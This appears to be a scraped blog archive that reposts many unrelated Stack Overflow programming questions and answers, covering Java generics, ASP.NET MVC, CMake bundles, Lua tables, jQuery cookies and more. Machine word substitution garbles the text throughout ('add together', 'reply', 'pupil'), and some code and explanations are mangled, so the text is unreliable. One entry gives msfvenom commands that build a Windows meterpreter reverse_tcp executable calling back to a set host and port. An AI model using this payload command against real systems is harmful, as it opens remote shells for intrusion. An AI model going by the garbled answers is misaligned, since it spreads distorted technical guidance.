Posts

Showing posts from August, 2013

java - Nested generics and wildcards -

java - Nested generics and wildcards - this question has reply here: can't add together value java collection wildcard generic type 3 answers i have seen several questions on topic, still can't figure out how solve problem. define , initialize variable as: queue<? extends map<string, string>> q = new linkedlist<hashmap<string, string>>(); and compiles. then: map<string, string> m = new hashmap<string, string>(); m.put("foo", "bar"); q.add(m); reports compilation error: no suitable method found add(map<string,string>) . edit: i think different can't add together value java collection wildcard generic type, because generics not nested in question. furthermore, accepted reply teaches specific implementation of template class can omited in declarations. won't find teaching on

asp.net mvc 4 - In a column of Credits, show the amount of credits for all courses for which student enlisted -

asp.net mvc 4 - In a column of Credits, show the amount of credits for all courses for which student enlisted - how in column of credits show amount of credits courses pupil enlisted. i need modify contoso university app. view: @model pagedlist.ipagedlist<contosouniversity.models.student> @using pagedlist.mvc; <h2>students</h2> <p> @html.actionlink("create new", "create") </p> @using (html.beginform("index", "student", formmethod.get)) { @html.antiforgerytoken() @html.validationsummary(true) <p> find name: @html.textbox("searchstring", viewbag.currentfilter string) <input type="submit" value="filter" /> </p> } <table class="table"> <tr> <th> @html.actionlink("last name", "index", new { sortorder = viewbag.namesortparm }) </th>

c++ - CMAKE create OSX bundle for dylib? -

c++ - CMAKE create OSX bundle for dylib? - i need help from unlike me knows cmake. problem: have cmake project produces .so/.dylib/.dll (its plugin application) , far fine it's compiling , linking , produces expected output. it's setup build module this: add_library(${project_name} module ${core_src} ${core_headers}) with healthy bunch of external dependencies , few compiler/linker settings. and builds using 2 custom targets: add_custom_target(debug command ${cmake_command} -dcmake_build_type=debug ${cmake_source_dir} command ${cmake_command} --build ${cmake_binary_dir} --target comment "switch cmake_build_type debug") add_custom_target(release command ${cmake_command} -dcmake_build_type=release ${cmake_source_dir} command ${cmake_command} --build ${cmake_binary_dir} --target comment "switch cmake_build_type release") my problem on osx dylib must packaged osx bundle or wont load. create b

Custom Payload Kali Linux -

Custom Payload Kali Linux - root@kali:~# msfvenom windows/meterpreter/reverse_tcp lhost=192.168.49.128 lport=12345 -f exe attempting read payload stdin... must select arch custom payload i've been googling sometime now, no positive result. can tell me meant 'you must select arch custom payload' ? if go msfvenom -h bring help. see command set architecture '-a' need set x86 or other architecture want. command msfvenom windows/meterpreter/reverse_tcp lhost=192.168.49.128 lport=12345 -a x86 -f exe > yourexploit.exe you're gonna need specify payload including '-p' in front end of payload description, command msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.49.128 lport=12345 -a x86 -f exe > yourexploit.exe . it's gonna complain no platform selected selected 1 you... "no platform selected, choosing msf::module::platform::windows payload", you'll "found 0 compatible encoders", ignore that. type in

javascript - Parameters in Object function passed, but Executed as Null -

javascript - Parameters in Object function passed, but Executed as Null - i've made object personal js library, reason on 1 of pages 1 of function parameters beingness weird. the parameters passing, homecoming values when logged, 1 time parid gets passed getelementbyid method, gets returned null. html: <body id="body"> <header> <h1>title</h1> </header> <article id="run"></article> </body> javascript: library code: var doc = { make: function (tagname, id, parid, txt){ // creates & appends elements, sets id, initializes , sets text in textnodes // var body = document.getelementsbytagname('body')[0]; var cvar = document.createelement(tagname); if(id.length !== 0){ cvar.setattribute('id', id); } if(parid === undefined || parid === null ){ document.body.appendchild(cvar); } else if(

lua - How to increment a variable in a table and access it? -

lua - How to increment a variable in a table and access it? - i have table defined like: local counter = { deleted = 0, moved = 0, sumoffilesize = 0, } i have tried next increment or values, doesn't work: increment: counter.deleted = counter.deleted + 1 get: counter.deleted how can modify or read these values? if youre using in functions need declare whitout local, , meaby can declare in top of file counter={deleted = 0, moved = 0, sumoffilesize = 0} for access in functions want. the problem place because seek in console , here result, problem isnt lua counter = { deleted = 0, moved = 0, sumoffilesize = 0, } print(counter) table: 0x7fb1e2e005d0 counter.deleted = counter.deleted + 1 print(counter.deleted) 1 counter.deleted = counter.deleted + 1 print(counter.deleted) 2 counter.deleted = counter.deleted + 1 print(counter.deleted) 3 lua

Command prompt doesn't show any exceptions or errors for grails application -

Command prompt doesn't show any exceptions or errors for grails application - i have grails application. if there error or exceptions (compile ot run time), cmd prompt shows errors/exceptions. lastly few days cmd prompt doesn't show stacktrace. so unable figure out problem in code. debugging literally impossible me. any help appreciated. log4j configuration config.groovy log4j.main = { error 'org.codehaus.groovy.grails.web.servlet', // controllers 'org.codehaus.groovy.grails.web.pages', // gsp 'org.codehaus.groovy.grails.web.sitemesh', // layouts 'org.codehaus.groovy.grails.web.mapping.filter', // url mapping 'org.codehaus.groovy.grails.web.mapping', // url mapping 'org.codehaus.groovy.grails.commons', // core / classloading 'org.codehaus.groovy.grails.plugins', // plugins 'org.codehaus

python - ImageField doesnt work -

python - ImageField doesnt work - when seek upload file gives me template error, required fill in. code: models: class ahoja(models.model): image = models.imagefield(upload_to='smayat') forms: class ahojaform(modelform): class meta: model = ahoja exclude = () view: def testview(request): if request.method == 'post': # pokud form byl odeslan form = ahojaform(request.post, request.files) # formular s daty if form.is_valid(): form.save() #vytvoří událost homecoming httpresponseredirect('/hlavni_stranka/kalendar/') else: form = ahojaform() # prázdný formulář homecoming render(request, 'hlavni_stranka/test.html', {'form': form,}) the first thing check enctype attribute in template. docs: note request.files contain info if request method post , <form> posted request has attribute enctype="multipart/form-data" .

matlab - Simulink: Selected signal originates from an unconnected source -

matlab - Simulink: Selected signal originates from an unconnected source - i have bit of annoyance rather major problem, tackle. have subsystem creates bus within , outputs via scope. bus creation through tags, depend on signals other components. now, when don't have components, warning saying like: warning: selected signal 'compressor' in 'untitled/pressure/bus selector' originates unconnected source signal entering 'untitled/output data/bus creator12' @ input port 1 it seems there no way turn off in diagnostics pane (connectivity sub-pane or otherwise). seems bug in very old versions of matlab, fixed in r13, according these links: link 1, link 2 (search "unconnected source signal" on page) i'm using 2013a, total 12 years later. have more info on how can turn warning off? matlab simulink

Build a Set of Node.Leaf.Id in one line with Java 8 -

Build a Set of Node.Leaf.Id in one line with Java 8 - i have 2 entities : leaves nodes, contains leaves. i have collection<node> , trying build set<integer> of leaf ids in 1 line of code. sense might possible stream s until now, can dot : set<integer> leafids = sets.newhashset(); root.getnodes() .foreach(node -> node.getleaves() .foreach(leaf -> leafids.add(leaf.getid()))); i don't part manually create collection , add together elements method collection.add() (not thread safe, unsafe , not optimized). sense might possible : root.getnodes() .stream() .??? .getleaves() .map(leaf::getid) .distinct() .collect(collectors.toset()); any idea? it possible. flatmap can stream<node> stream<leaf> of leaves of nodes : set<integer> leaves = root.getnodes().stream() .flatmap (n -> n.getleaves().stream()) .distinct()

ActionScript contained in externally loaded SWF files will be ignored on iOS devices -

ActionScript contained in externally loaded SWF files will be ignored on iOS devices - i developing ios app in flash cs6. i'm trying load external swf. preloader loads external swf. loading seems work. after loading external swf, add together movieclips stage. strangely, on ios devices, movieclips not added stage. here's code preloader: package { import flash.display.movieclip; import flash.display.bitmapdata; import flash.display.loader; import flash.display.bitmap; import flash.utils.getdefinitionbyname; import flash.events.event; import flash.events.progressevent; import flash.net.urlrequest; import flash.system.loadercontext; import flash.system.applicationdomain; public class test extends movieclip { private var lobbybgassetsloader:loader = new loader() ; private var ldrcontext:loadercontext; public function test() { var urlstr:string = "cards.swf"; lobbybg

Spring Boot Executable jar structure -

Spring Boot Executable jar structure - i'm trying run spring boot sample application. , added couple of images in "images" folder under webapp folder (same level web-inf). i created executable jar, , these images displayed correctly on web pages. but, i'm scratching head images folder in executable jar? these images in 1 of lib jar? thanks in advance. update: after trying same jar on machine question changes altogather. now, can confirm images not part of executable "fat" jar, images not coming on webpages. going further, none of files under "webapp" packaged in jar. have set spring-boot-maven-plugin plugin in pom , using "mvn package" create jar. in src project, webapp under src/main (same level java , resource). this covered in documentation static resources: do not utilize src/main/webapp folder if application packaged jar. although folder mutual standard, work war packaging , silently ignored build tools i

Java, sorting ArrayList using comparator -

Java, sorting ArrayList using comparator - i want sort list of task object 2 criterion. first sorted leftentrytime , timeneededtobeprocessed . can help me? so far did sorting leftentrytime how can sort timeneededtobeprocessed in same comparator class? task(int procesid, int neededtime, int waitingtime, int leftentrytime) { this.procesid = procesid; this.timeneededtobeprocessed = neededtime; this.waitingtime = waitingtime; this.leftentrytime = leftentrytime; } this comparator : import java.util.comparator; public class timeentrycomparator implements comparator<task> { @override public int compare(task o1, task o2) { int entrytime; int tasktime = o1.getleftentrytime()- o2.getleftentrytime(); if (tasktime > 0){ homecoming 1; } if (tasktime < 0) { homecoming -1; } homecoming 0; } } then sort by: collections.sort(list, new timeentrycom

ruby on rails - Using the jquery cookies plugin -

ruby on rails - Using the jquery cookies plugin - how require in html? the doc says use <script src="/path/to/jquery.cookie.js"></script> but need set "path" , 'to'. can't figure out need here. hope can help! thanks! with ror: must set file jquery.cookie.js in folder vendor/assets/javascripts/ , @ file app/assets/javascripts/application.js must called with: //= require jquery.cookie before //= require_tree . or other require needs jquery.cookie you don't need script tag. jquery ruby-on-rails cookies modal-dialog

emacs - Start evil mode in insert for some buffers -

emacs - Start evil mode in insert for some buffers - i set buffers opened in insert mode in evil. for illustration in read-only buffers there no point in having normal mode since can't utilize q exit have q. annoying interactive modes produce error buffers. what have been trying , failed follows: (evil-set-initial-state view-mode 'insert) you can modify variable evil-insert-state-modes , holds list of modes should started in insert state: (add-to-list 'evil-insert-state-modes 'view-mode) there analogous variables emacs state, normal state, etc. emacs evil-mode

map - How to pair items from a nested vector with corresponding single values in Clojure? -

map - How to pair items from a nested vector with corresponding single values in Clojure? - i'm learning clojure, , want understand more sequences. have real-life problem have reduced general one, don't know if has canonical name. illustration below makes clear. say have 2 vectors, src , dst . items in src vector vectors, , need map each item in each vector corresponding value in dst . (def src [ ["a1" "a2" "a3"] ["b1" "b2"] ["c1" "c2" "c3" "c4"] ]) (def dst [ "a" "b" "c" ]) i want produce next map: { :a1 "a", :a2 "a", :a3 "a", :b1 "b", :b2 "b", :c1 "c", :c2 "c", :c3 "c", :c4 "c" } i can fine in python, clojure way of doing not clear me. problem, build map, want able in generic way, not instance. in python, be: src = [['a1', 'a2

sql server - SQL BCP invalid object name ##Labels -

sql server - SQL BCP invalid object name ##Labels - i'm having problem bcp. keeps saying invalid object name ##labels despite me creating global table. doing wrong please? the code is: - declare @sql varchar(max) set @batchno = 'abc123' declare @test table(a varchar(max),b varchar(max),c varchar(max),d varchar(max),e varchar(max),f varchar(max),g varchar(max),h varchar(max),i varchar(max),j varchar(max)) insert @test values ('1','2','3','4','5','6','7','8','9','10') select * ##labels @test set @sql = 'select * ##labels' declare @tmpfile varchar(25) declare @folder varchar(128) declare @labeldir varchar(128) declare @template varchar(25) declare @finalfile varchar(40) declare @cmdstr varchar(300) set @tmpfile = @batchno + '.tmp' --trigger folder set @folder = '\\win-0h\labelling\xfer\'

From win32 color Code to set Element BackColor in jQuery -

From win32 color Code to set Element BackColor in jQuery - i have xml file elements color available in node node's color value stored in form of win32 color value. want convert value hex value can utilize in jquery css property. example below <inputbackcolor>33023</inputbackcolor> change $("elemet").css('background-color',"#somehexvaluefrominputbackcolornode") how can this? your source color stored in colorref, construction in form 0x00bbggrr (in hexadecimal). therefore, convert css representation, have to: convert value hexadecimal string, pad hex string zeroes on left side, swap reddish , bluish channels, prepend hash sign # . which can achieved like: var csscolor = "000000" + parseint(sourcecolor, 10).tostring(16); csscolor = csscolor.substr(csscolor.length - 6); csscolor = "#" + csscolor.substr(4, 2) + csscolor.substr(2, 2) + csscolor.substr(0, 2) jquery

javascript - Bootstrap Dropdown + Angular data-ng-repeat -

javascript - Bootstrap Dropdown + Angular data-ng-repeat - i'm having little issue while trying show info (villains/villanos) in drop downwards ng-repeat. i've been looking around , trying can't create work. have next html: class="lang-html prettyprint-override"> <script src="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script> <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.3.0-beta.7/angular.min.js" </script> <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.3.0-beta.7/angular-animate.js"></script> <script> // function lets dropdown button save name of villain it's selected. $(function(){ $(".dropdown-menu li a").click(function(){ $(".dropdown-toggle:first-child").text($(this).text()); $(".dropdown-toggle:first-child").val($(this).text()); });

xml - How to export KML file with JAK library or libkml -java? -

xml - How to export KML file with JAK library or libkml -java? - i utilize kml object in java. want export object file. seek write jak library,with function kml.marshal() not successful. error: exception in thread "main" java.lang.noclassdeffounderror: com/sun/xml/bind/marshaller/namespaceprefixmapper @ java.lang.classloader.defineclass1(native method) @ java.lang.classloader.defineclass(unknown source) @ java.security.secureclassloader.defineclass(unknown source) @ java.net.urlclassloader.defineclass(unknown source) @ java.net.urlclassloader.access$100(unknown source) @ java.net.urlclassloader$1.run(unknown source) @ java.net.urlclassloader$1.run(unknown source) @ java.security.accesscontroller.doprivileged(native method) @ java.net.urlclassloader.findclass(unknown source) @ java.lang.classloader.loadclass(unknown source) @ sun.misc.launcher$appclassloader.loadclass(unknown source) @ java.lang.classloader.loadclass(un

javascript - How to display a dynamic sub field in angular -

javascript - How to display a dynamic sub field in angular - i'm writing dynamic forms application in angular.js , i'm stuck on how access sub objects in list. i have collection of objects, , collection of list columns. want display fields each record in collection depending on columns specified. the code listed below works of objects, not others. in example, root displayed, sub.start isn't. understand why doesn't, i'm wondering how can work. var collection = [ {root: 'b', sub: {start: 't' }} ]; var columns = [ { field: 'root' }, { field: "sub.start"}, ]; <tr ng-repeat="item in collection"> <td ng-repeat="column in columns" >{{ item[column.field] }}</td> </tr> this won't work because item["sub.start"] doesn't exist. your collection have structured this: { root: "b", "sub.start": "t" } j

c++ - GNU GCC compilor error "multiple definition of main" -

c++ - GNU GCC compilor error "multiple definition of main" - i new ubuntu, need develop assignment in c++. using codeblocks ide write c++ programs. whenever compile in it, gives these errors: multiple definition of main warning: command reaches end of non-void function here code want compile now: #include <iostream> #include <stdlib.h> using namespace std; /* node class */ class node { public: int get() { homecoming object; }; void set(int object) { this->object = object; }; node * getnext() { homecoming nextnode; }; void setnext(node * nextnode) { this->nextnode = nextnode; }; private: int object; node * nextnode; }; /* list class */ class list { public: list(); void add together (int addobject); int get(); bool next(); friend void traverse(list list); friend list addnodes(); private: int size; node * headnode;

javascript - Error during sending mail in Local xampp server -

javascript - Error during sending mail in Local xampp server - when submitting php contact form in local xampp server showing 'we unable send email due technical problems. please seek again.' pls help how prepare error.. here php code <?php session_start(); ini_set("display_errors",'0');//display errors if($_post['submit']) { $key=substr($_session['key'],0,5); //echo "key---------->".$key; $number = $_request['number']; //echo "number---------->".$number; if($number!=$key) { $error="<left><font color=\"red\"><b>invalid come in code !</b></font></left>"; } else { $to = "test@gmail.com"; $html_msg = ' <html> <head> <title>test services enquiry form</title> </head> <body> <table width="0%" align="cente

ruby on rails - Oembed tweet - twitter gem -

ruby on rails - Oembed tweet - twitter gem - this terribly simple question can't figure out how render embedded tweet. for simplicity, controller: class tweetscontroller < applicationcontroller def index @tweet = twitter_client.oembed('527501479142109184') end end and in view if next displays object only: <%= @tweet %> i.e. #<twitter::oembed:0x007fb878abc5d8> on inspection gives: #<twitter::oembed:0x007fb875cacd28 @attrs={:cache_age=>"3153600000", :url=>"https://twitter.com/huayuansong/statuses/527501479142109184", :height=>nil, :provider_url=>"https://twitter.com", :provider_name=>"twitter", :author_name=>"huayuan song", :version=>"1.0", :author_url=>"https://twitter.com/huayuansong", :type=>"rich", :html=>"<blockquote class=\"twitter-tweet\"><p>jeg kunne lide en video på <a href=\&q

php - Symfony2: Warning: spl_object_hash() expects parameter 1 to be object, integer given -

php - Symfony2: Warning: spl_object_hash() expects parameter 1 to be object, integer given - i have many 1 relationship between entities project , course because each course of study can have many projects many projects related same course. these entities: class project{ /** * @orm\id * @orm\column(type="integer") * @orm\generatedvalue(strategy="auto") */ protected $id; //... other fields ... //----------------------- database relationship ----------------// //project-course - m:1 relationship /** * @orm\manytoone(targetentity="course", inversedby="project") * @orm\joincolumn(name="course_id", referencedcolumnname="id") **/ private $course; and class course{ /** * @orm\id * @orm\column(type="integer") * @orm\generatedvalue(strategy="auto") */ //... other fields ... //---------------------

Finding out specific string in C/C++ -

Finding out specific string in C/C++ - i have info in next form: http://website.org/resource/id_xa5x8p_1sz_1s8rhrc http://website.org/resource/abc http://website.org/resource/id_xa5x8p_1sz_1s8rfcc http://website.org/resource/def http://website.org/resource/ghi http://website.org/resource/id_xa5x8p_1sz_1s8ryurc http://website.org/resource/id_xa5x8p_1sz_1s8rhrcwjf http://anyother/anthingelse/id_xa5x8p_1sz_1s8rhrc file://anyotherinfo/anthingelse1/id_xa5x8p_1sz_1s8rhrc file://anyotherinfo/anthingelse1/def/id_xa5x8p_1sz_1s8rhrc file://id_anyotherinfo/anthingelse1/def/id_xa5x8p_1sz_1s8rhrc file://anyotherinfo/id_anthingelse1/def/id_xa5x8p_1sz_1s8rhrc file://anyotherinfo/id_anthingelse1/def/ghi my expected output is: http://website.org/resource/id_xa5x8p_1sz_1s8rhrc http://website.org/resource/id_xa5x8p_1sz_1s8rfcc http://website.org/resource/id_xa5x8p_1sz_1s8ryurc http://website.org/resource/id_xa5x8p_1sz_1s8rhrcwjf http://anyother/anthingelse/id_xa5x8p_1sz_1s8rhrc file://an

php - Last insert id issue--How to fetch it -

php - Last insert id issue--How to fetch it - i'm using $id = mysqli_insert_id($connection); lastly inserted id, in case if updates record in table, returns 0 lastly inserted id. is there way handle this? i want id each time weather it's inserting or updating. thanks edit i need id used inserting info table2 id tab1 set info tab2 id tab1 fk and important, i'm not using update where clause here code i'm using $val = utf8_encode($val); mysqli_set_charset($connection, 'utf8'); mysqli_query($connection, "set names 'utf8'"); mysqli_query($connection, "set foreign_key_checks = 0;"); $sql = "insert leaks($insert) values($val)"; $sql .= " on duplicate key update `url` = '".mysqli_real_escape_string($connection,$data['url'])."';"; mysqli_query($connection, ($sql))or die(mysqli_error($connection)."<br

VB.NET Changing Colors for each line in a error message -

VB.NET Changing Colors for each line in a error message - hi created error message contains each value of whether or not pass or fail. each entry alter color based on passed = greenish , pail = red. example: fare: passed name: passed date: failed address: failed age: passed this gets displayed in output message box, currently msgbox(errormessage) when gets displayed fails background reddish , passed have greenish background. still considered new vb.net know how mouse hovers , mouseleaves. assuming need create event similar those. thank help. you're not going msgbox or messagebox.show , msgbox calls internally. you're going have create own form , either add together 1 label each line, in case can set forecolor each one, or else draw text using gdi+. if go label route, you'll want utilize tablelayoutpanel or flowlayoutpanel maintain them aligned correctly. vb.net colors msg

Change "Done" button in Android numeric keyboard -

Change "Done" button in Android numeric keyboard - i have edittext in android configured number keyboard, , keyboard's button "next", while mine saying "done". how can alter that? tried: <com.innovattic.font.fontedittext style="@style/cadastrotextboxstyle" android:hint="cep" android:id="@+id/etcep" android:inputtype="number" android:singleline="true" android.imeoptions="actionnext" /> and this: etcep.setimeactionlabel("next", keyevent.keycode_enter); but still says done. else can do? thanks as can seen in specifying input method type, not need phone call textview.setimeactionlabel(charsequence, int) , have instead provide android:imeoptions value such actionsend or actionnext in xml attributes alter label accordingly. this not working because have mistyped : . in attributes. switching out should prepare issue in no ti

javascript - Rails4 - How to receive and send JSON data securely through Ajax and store it? -

javascript - Rails4 - How to receive and send JSON data securely through Ajax and store it? - i have page(like https://www.helloabc.com/han.html) loaded within iframe on app of different domain. added next enable loading page in iframe remove error("refused display document because display forbidden x-frame-options"). config.action_dispatch.default_headers['x-frame-options'] = "allow-from https://xyz.com" the iframe page sends info through ajax json page follows . $.ajax({ url: 'https://www.helloabc.com/hello', type: 'post', datatype: 'json', data: { "url" : hjurl, "data" : senddatavar }, success: function(a){ console.log("success"); console.log(a.message); }, error: function(request, status, error) { console.log("error"); } }); i receive 200 ok in iframe page. hero

scala - Where does the config line go for a sub-project in an sbt multi-build? -

scala - Where does the config line go for a sub-project in an sbt multi-build? - when creating sub project in sbt multi-build, i'm next instructions in the official docs found here. i'm placing next line build.sbt file. lazy val mysubproject = project and when run sbt i'm getting next error. $ sbt /home/d/projects/test/build.sbt:7: error: illegal start of simple look lazy val mysubproject = project ^ what noobie error making? line go? the problem because used older version of sbt. the line lazy val mysubproject = project belong in build.sbt (though otherwise set in project/build.scala ). i thought running sbt 0.13, running sbt 0.12. after upgrading sbt version 0.13, works correctly. scala sbt

c# - Migrating from SQL Membership Provider to Indentity 2.0 -

c# - Migrating from SQL Membership Provider to Indentity 2.0 - i'm using ef, webforms .net 4.5 rebuild of our web application. we have 4000 users in our databases standard databases membership provider. how can go migration without losing of users passwords? i've spend 9 hours trying create work article below: http://www.asp.net/identity/overview/migrations/migrating-an-existing-website-from-sql-membership-to-aspnet-identity but problem that's identity 1.0 , it's obsolete. i've tried going pmc , updating database way, create new tables identity without importing of old data. if imported info myself password hashing differences cyrpto changes wouldn't allow me log in if copied salt , hashes. what missing here? i've spent on 12 hours trying figure out migration , have gotten where, there huge lack of documentation web forms. generated new migration , copied old identity tables , works. https://www.youtube.com/watch?v=blmkpa7xqf8

php - Eloquent ORM multiple relationships -

php - Eloquent ORM multiple relationships - there 3 tables. users: - ... - some_param admins: - ... - club_id - some_param clubs: - id - title each user can have multiple admins (related some_param), each admin can have multiple clubs, , want each club's title. so defined relations: class user extends eloquent { public function admins() { homecoming $this->hasmany('admin', 'some_param', 'some_param'); } } class admin extends eloquent { public function clubs() { $this->hasmany('club', 'id', 'club_id'); } } and want utilize in template: @foreach($user->admins $admin) @foreach($admin->clubs $club) {{ $club->title }} @endforeach @endforeach but i'm getting error: relationship method must homecoming object of type illuminate\database\eloquent\relations\relation @ line @foreach($admin->clubs $club) . what's doing wrong? gi

unit testing - Ruby minitest assert_output syntax -

unit testing - Ruby minitest assert_output syntax - i new minitest , still new ruby , tired of trying google question without result. grateful help: what exact syntax of assert_output in ruby minitest? all find on github or elsewhere seems utilize parentheses. yet, error message when don't utilize block assert_output, makes sense definition of method contains yield statement. but cannot create work, whatever try. testclass.rb class testclass def output puts 'hey' end end test_test.rb require 'minitest/spec' require 'minitest/autorun' require_relative 'testclass' class testtestclass < minitest::unit::testcase def setup @test = testclass.new end def output_produces_output assert_output( stdout = 'hey' ) { @test.output} end end what is: finished tests in 0.000000s, nan tests/s, nan assertions 0 tests, 0 assertions, 0 failures, 0 errors, 0 skips what doing wrong? must totally

ruby on rails - Creating Views In Gem -

ruby on rails - Creating Views In Gem - i do: bundler new "gem_name" this creates basic construction gem. cd "gem_name" now in directory, tld of "gem_name" beneath create app/views/hello_world.html.erb view load other projects if require gem via gem "gem_name" i fill out "gem_name".gemspec with required information, , do rake install gem list confirms "my_gem" there. so create new app, , go gemfile of new app, , come in "my_gem" in gem file. bundle install there. don't see view files added in gem (but dependencies of gem loaded new app). how load these views gem? ideally load right app views directory ( can namespace later, testing atm,..) without need generator. thanks with regard getting hold of views in gem, looks if have views stored ' app/views/ ' @ base of operations of gem, rails should pick subsequently when render view if had file within view

php - Login functionality in HTML page -

php - Login functionality in HTML page - i have created html page takes user-id , password user , check there validity through database. till directing them page after successful login. want update same page after login. www.facebook.com ; when not logged in asks user-id , password, if login our profile contents displayed on same page i.e. facebook.com. doing; directing page "login.php" of course of study can access without login. for illustration there page "movies.com" allows user watch movies after login; before directing them page "successful_login.com" after login. funny approach, working college assignments. ps. noob, sorry if asked funny. <?php if(mysql_connect("localhost","root","")==false) { die ("connection failed"); } mysql_select_db("data"); if($_post) { $id=$_post["email"]; $pwd=$_post["password"]; $pwd=hash( 'sha256', $pwd); $sql=mysql_qu

rdf - Maximum number of Individuals in Protege OWL file -

rdf - Maximum number of Individuals in Protege OWL file - just info bases have restriction on number of rows etc wondering there limit on number of individuals in ontology file (owl) in protege 4? have dictionary resource having more 50,000 entries. have introduced machine learning in create numbers of individuals in owl grow. wanted inquire have detrimental effect? rdf semantic-web owl ontology protege

jquery - Trying to use display:none on eliminating a couple of H2 elements from an accordion-style element -

jquery - Trying to use display:none on eliminating a couple of H2 elements from an accordion-style element - i’ve spent of day trying create responsive style accordion elements wordpress based accordion-style plugin. part….success! but not completely. way plugin works displays categories menu, don’t want them displayed. want couple eliminated , i’ve tried numerous attempts no avail. the menu doesn’t utilize ul li elements produce code. uses div’s , h2 elements produce it. , in case, h2’s command navigation on left. this: <h2 class='fp_menu_sub_section tint_menu 16 collapsable' data-name='red wine' data-src=''>red wine<span class='fp_menu_expand'></span></h2> that’s 1 of h2’s i’m trying turn off. i’ve tried few approaches. following: body.page-id-354 .fp_menu_sub_section .16 {display: none !important;} body.page-id-354 .fp_menu_sub_section.tint_menu.16 {display: none !important;} body.page-id-354 .foodpress_men

php - 2 consecutive redirects with chance to go back -

php - 2 consecutive redirects with chance to go back - i'm trying this: page a: has button preview. when it's pressed, user must see page c, when user hits button in page c, must go page b. so, i've done redirect b url parameter, @ origin of b, redirects c. the problem when go back, url has same parameter, redirect b c done again. any ideas? something this? page a: <?php session_start(); if(!isset($_session['visited'])) { echo "<a href='c.php'>to page c</a>"; $_session['visited']=1; } else { header('location: b.php'); } ?> page b: <?php session_start(); echo "page b"; ?> page c: <?php session_start(); echo "page c"; ?> php redirect

ruby on rails - How to include parameters when exporting db to csv? -

ruby on rails - How to include parameters when exporting db to csv? - i'm trying export set of records csv file in redmine plugin. records stored in mysql database, has column project_id tie each record particular project. want export records match value project_id . app/controllers/foo_controller.rb: before_filter :find_project def index @foos = foo.order(:id).where("project_id = ?", @project.id) # csv request throws nomethoderror here because @project nil. respond_to |format| format.html format.csv { send_data @foos.to_csv(:col_sep => ",") } end end private def find_project if params[:project_id].present? @project = project.find params[:project_id] end end init.rb redmine::plugin.register :foo_plugin # info stuff... # module/permission stuff... menu :project_menu, :foos, {:controller => 'foo_con', :action => 'index'}, :caption => 'foos', :param => :project_id end from ca

post - "Index.php?webpage" Not Functioning properly -

post - "Index.php?webpage" Not Functioning properly - so trying access webpage within site. in index, utilize isset($_get() parameter access page. code index.php follows: <!doctype html> <html> <head> <?php require ("includes/database.php"); ?> <title>offstreams admin panel</title> <link rel="stylesheet" type="text/css" href="styles/admin_body.css" /> <link rel="stylesheet" type="text/css" href="styles/admin_header.css" /> <link rel="stylesheet" type="text/css" href="styles/admin_footer.css" /> <link rel="stylesheet" type="text/css" href="styles/admin_postspace.css" /> </head> <body> <header> <!--header info here --> </header> <div class="wrapper"> <div class="sidebar"&

Github create comment api not working -

Github create comment api not working - i'm looking @ github create comment api referenced here - https://developer.github.com/v3/pulls/comments/#create-a-comment as per api, if @ https://api.github.com/repos/govin/log4js-node/pulls/1/comments, array of comments back. however, when post @ https://api.github.com/repos/govin/log4js-node/pulls/1/comments, response 404. remember that: a post require proper authentication, shown in github post tutorial. no authentication means 404. curl --user "caspyin" --request post --data {...} you need proper info mentioned in "create comment" { "body": "nice change", "commit_id": "6dcb09b5b57875f334f61aebed695e2e4193db5e", "path": "file1.txt", "position": 4 } github github-api

java - Pass a function to PoolThread -

java - Pass a function to PoolThread - i've classes generate lot of threads , application , takes lot of memory. have decided utilize poolthread decrease threads overhead. poolthread managed in class , have question: how can pass generic function parameter , execute 1 time in poolthread? e.g. public void executefunction( myfunction) { executorservice.execute(new runnable() { public void run() { run function i've passed } } } as functions have no proper existence in java, improve give executorservice runnable (or improve callable) object containing code execute, method returning corresponding future. in fact, believe or not, method exists in executorservice : <t> future<t> submit(callable<t> task) the future#get() method allow wait until result obtained. java multithreading reflection

c# - LINQ JOIN Straight to Object -

c# - LINQ JOIN Straight to Object - i rather new linq , have implemented linq statement bring together , results of query, iterate through results , assign each result new object , add together object list of objects. there more elegant way next such selecting right object list? thanks , much appreciated var clubattendeeeducationlist = new list<clubattendeeeducation>(); var r = (from oer in db.onlineeducationregistrations bring together oec in db.onlineeducationcourses on oer.onlineeducationcourseid equals oec.onlineeducationcourseid (oer.mastercustomerid.equals(userid) && oer.datecompleted >= start.date && oer.datecompleted <= upuntil.date && oer.datecompleted != null) select new {onlineeducationregistration = oer, oec.coursetitle}).tolist(); foreach (var item in r) { var educati

asp.net mvc - Kendo Multiselect with composite dataTextField -

asp.net mvc - Kendo Multiselect with composite dataTextField - i'd appreciate if advise on following: my multiselect: @html.kendo().multiselectfor(model => model.payment_method).bindto(paymentmethods).datatextfield("title").datavaluefield("code") the datasource looks this: code title 1 abc 2 def is possible have composite datatextfield , like: 1 - abc, 2 - def, etc. , i.e "code" - "title" ? i know create select list , define format of textfield, maybe there way? thanks! you specify template display item (you want take text field out then): @html.kendo().multiselectfor(model => model.payment_method) .bindto(paymentmethods) //.datatextfield("title") .datavaluefield("code") .itemtemplate("#= code# #=' - '# #= title#") here's link itemtemplate method , link general template methods.

python - Pdf to txt from http request -

python - Pdf to txt from http request - i have set of links pdf files: https://www.duo.uio.no/bitstream/10852/9012/1/oppgave-2003-10-30.pdf some of them restricted, meaning won't able access pdf file, while others go straight pdf file itself, link above. i'm using requests bundle (python) access files, there far many files me download, , don't want files in pdf. what go each link, check if link pdf file, download file (if necessary), turn txt file, , delete original pdf file. i have shell script pdf txt converter, possible run shell script python? kieran bristow has answered part of question how run external programme python. the other part of question selectively downloading documents checking whether resource pdf document. unless remote server offers alternate representations of documents (e.g. text version), need download documents. avoid downloading non-pdf documents can send initial head request , @ reply headers determine content-type th

javascript - Newline added when appending elements to a div -

javascript - Newline added when appending elements to a div - the output of code below produces line of text , button below text. how can place button beside text? var count = document.createtextnode('my text: '); document.getelementbyid('container').appendchild(count); var f = document.createelement('form'); f.setattribute('method','post'); f.setattribute('action','test'); var text = document.createelement('input'); text.setattribute('type','hidden'); text.setattribute('name','text'); text.value = 'hey! - hidden value'; var s = document.createelement('input'); //input element, submit button s.setattribute('type','submit'); s.setattribute('value','hey!'); f.appendchild(text); f.appendchild(s); document.getelementbyid('container').appendchild(f); s.onclick=function(){ f.submit(); }; jsfiddle: http://jsfiddle.net/bobby

sql - How is a graph database different to a graph represented in a relational database? -

